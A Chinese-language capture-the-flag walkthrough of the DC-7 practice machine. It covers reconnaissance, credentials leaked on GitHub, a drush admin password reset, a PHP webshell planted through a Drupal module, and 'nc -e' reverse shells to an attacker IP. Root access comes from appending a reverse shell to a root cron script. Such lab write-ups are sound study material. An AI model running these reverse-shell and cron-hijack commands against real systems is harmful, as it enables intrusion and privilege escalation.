DC-7靶机渗透:CTFer从0到1的进阶之路

尝观渗透之道,自DC-1始,历六局而后至于此。初入DC-1,得其CMS之隙,探囊取物;次涉DC-2,穿WP之壁,步步为营;至DC-3,乘Joomla之虚,直捣中坚;及DC-4,穷举SMTP,曲径通幽;入DC-5,借进程之瑕,巧夺天工;涉DC-6,避锋藏拙,暗度陈仓。六役之间,或攻其门,或破其器,或审其文,或劫其流,虽各有机巧,终未离攻守之常.

今至DC-7,气象迥异。前之所倚,多恃利器;今之所重,全在识见。昔之六局,虽有曲折,然技可穷、力可致;今观此阵,不以坚壁困人,而以思虑为阱,稍有不察,则满盘皆误。故曰:前六役,以技胜;此一役,以心胜.

余将入局,不敢自恃旧功,惟愿澄心静虑,察幽微于毫末,辨虚实于无形。胜负未可知也,然求索之志,未尝稍懈.

是为序


信息搜集

依旧:

bash 复制代码
nmap -sn 10.251.94.0/24

nmap -sV -p- 10.251.94.162

有SSH,进浏览器看一眼:

好像回到了DC-1的CMS,但是这里作者说以前的思维在这里不适用了,而且无法进行密码爆破【那就是强密码了】我们需要的是跳出这个框架。当然了该看的肯定是要看的,右上角有一个login,点进去就是登录界面,用dirsearch扫一下发现没有什么东西,而且这里用默认的线程还特别慢。

回顾一下之前的Drupal,我们是直接用metasploit获取了shell,这里的Drupal版本为8:

网上看了一下8.x的CVE就是我们打第一个靶机时用到的,但是这里是用不上了....【可以自己尝试看看,具体流程DC-1里面都详细记载了】

之前打6的时候有一个插件漏洞,于是这里我在想是不是也跟插件漏洞有关,又是网上找了一下发现也没有,有关的还是2016年,那么之前从1-6积累下来的经验这里全部被堵死了。。。

要了点提示之后,才发现这里竟然还跟社工沾点边,之前的图片左下角有一个@,去搜了一下,github上存的就是源码....【看来我的眼界还是太狭隘了】在config.php中发现这么几个数据:

php 复制代码
<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

明显是账户和密码,但是尝试登录发现不行,然后我又在别的文件中找到了说是邮箱的东东,尝试忘记密码还说是无效的邮箱...最后才想起来这里还有个SSH没用到,尝试连接之后看到是可以的


登录网页

稍微看一眼:

没有sudo这个命令,但是说有一个新的邮件,这就跟之前打的DC-4很像,看一下邮件:

bash 复制代码
cat /var/mail/dc7user

刚开始的时候我没抓到重要的点【主要是没接触过定时任务】,看到有个rm下面的数据库保存的信息,以为跟这个有关,去看了一下发现这个文件是被删除的,然后才看到那个Subject,有这么一个目标,看一眼:

bash 复制代码
cat /opt/scripts/backups.sh

解释一下:

bash 复制代码
#!/bin/bash

# 删除旧备份目录中的所有文件,清空备份空间
rm /home/dc7user/backups/*

# 切换到 Drupal 网站根目录(Web 服务器的工作目录)
cd /var/www/html/

# 使用 Drush 工具导出数据库
# --result-file: 指定导出的 SQL 文件保存路径
drush sql-dump --result-file=/home/dc7user/backups/website.sql

# 返回上级目录(即从 /var/www/html/ 返回到 /var/www/)
cd ..

# 打包网站文件目录
# -c: 创建新的归档文件
# -z: 通过 gzip 压缩归档文件
# -f: 指定归档文件的名称
# 将 html/ 目录打包压缩为 website.tar.gz
tar -czf /home/dc7user/backups/website.tar.gz html/

# 使用 GPG 对称加密数据库备份文件
# --pinentry-mode loopback: 使用命令行模式输入密码(而非图形界面)
# --passphrase: 指定加密密码(注意:硬编码密码存在安全风险)
# --symmetric: 使用对称加密算法
# 执行后会生成 website.sql.gpg 加密文件
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql

# 使用 GPG 对称加密网站文件压缩包
# 同样方式加密 website.tar.gz,生成 website.tar.gz.gpg
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz

# 修改 backups 目录下所有文件的所有者和所属组为 dc7user
# 确保 dc7user 用户拥有这些备份文件的管理权限
chown dc7user:dc7user /home/dc7user/backups/*

# 删除未加密的原始 SQL 文件(只保留加密后的 .gpg 文件)
rm /home/dc7user/backups/website.sql

# 删除未加密的原始压缩包文件(只保留加密后的 .gpg 文件)
rm /home/dc7user/backups/website.tar.gz

drush 是Drupal的命令行工具,执行时会查找当前目录下的 settings.php 配置文件。关键漏洞是:

  • 脚本先执行了 cd /var/www/html/

  • 然后才运行 drush 命令

  • 但整个脚本是以root权限运行的

**因此,这里的漏洞利用方式便是在/var/www/html目录下在该脚本运行时写入bash命令进行提权,**先看一下dc7user能不能直接搞个反弹shell出来:

bash 复制代码
echo 'nc -e /bin/bash 10.251.94.177' >> /opt/scripts/backups.sh

(⊙﹏⊙),又被看穿了,无法写入命令,那就得切换用户,但是怎么进行切换呢,这就得用到drush了:

drush作为shell接口可用于从云服务器命令行管理Drupal。

需要在 drupal web目录执行(/var/www/html)

使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")

bash 复制代码
#在/var/www/html目录下输入如下命令
drush user-password admin --password=111

可能又会有师傅问了,为啥这里又是admin...我也不知道,默认最高权限所有者名字应该都是这个吧,但是真实环境肯定不会是这个,然后进行登录。


获取shell

这时候下一个问题出现了,我们登进去以后要干啥?是不是要连shell,那么是不会要找可以连shell的地方?那就开始漫长的翻阅......最终发现这么一个看着可以注入的输入框:

但是输入我们的一句话木马会爆红,而且下面的文件格式还是html,如果要转成php形式的话得用到我们的模组,得从网上下载一下:

bash 复制代码
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

下载完之后记得再勾选一下,最后回到之前的写木马界面,可以直接输入一句话木马或者反弹shell,这里我是输入一句话木马的:

然后打开虚拟终端再反弹shell:

bash 复制代码
nc -e /bin/sh 10.251.94.177 4444

python -c 'import pty;pty.spawn("/bin/bash")'

成功连接。


提权

进去之后是直接在/var/www/html目录下,那么就能写入我们的反弹shell命令了:

bash 复制代码
echo 'nc -e /bin/bash 10.251.94.177 7777' >> /opt/scripts/backups.sh

开个端口进行监听,等待连上root。

这里其实有一个点是这个定时任务怎么看定时,多久执行一次,但是我找了一圈没找到:

bash 复制代码
cat /etc/crontab

系统级定时任务配置文件(Linux 核心文件)
时间 任务 说明
17 * * * * cron.hourly 每小时的第17分钟执行一次
25 6 * * * cron.daily 每天6:25执行一次
47 6 * * 7 cron.weekly 每周日6:47执行一次
52 6 1 * * cron.monthly 每月1号6:52执行一次

这些都是Linux系统自带的系统维护任务 (日志轮转、临时文件清理等),不是DC-7靶机的backups.sh

然后我又去grep了一下,但是还是没有,那只能等定时任务执行了,差不多一刻钟吧,就能提到权了,最后拿到我们的flag:

ps:这个定时任务还得是root才能看得到....

bash 复制代码
# 查看 root 用户的个人定时任务
crontab -u root -l

总结

又去看了一下数据库,这次只有两个了:

加盐的SHA-512 hash,但是密码都知道了,一个是最开始给出的,还有一个是我们后面进行修改的。每次打新的靶机都能学到新知识,作者还是太强了,类似社工的方法可谓是神来之笔,更期待下一个靶机了呢。

相关推荐
NaclarbCSDN2 小时前
User role controlled by request parameter-Burp 复现
网络·安全·网络安全
m0_738120722 小时前
AI 安全——Gandalf靶场 Prompt Injection全关卡绕过讲解
人工智能·安全·web安全·网络安全·prompt
Three~stone2 小时前
Cisco Packet Tracer保姆级安装教程【附汉化教程插件】
linux·运维·服务器·网络安全
Chockmans3 小时前
春秋云境CVE-2018-3760
安全·web安全·网络安全·春秋云境·cve-2018-3760
wq89738712 小时前
[AI问答]OpenSSL3.0+上的异步调用
网络安全
缘友一世16 小时前
PentestGPT V2源码研究之EGATS规划器
网络安全·渗透测试
初九之潜龙勿用18 小时前
C# 解决“因为算法不同,客户端和服务器无法通信”的问题
服务器·开发语言·网络协议·网络安全·c#
0DayHP20 小时前
HTB:DarkZero[WriteUP]
网络安全·内网渗透
一名优秀的码农1 天前
vulhub系列-52-ICA: 1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析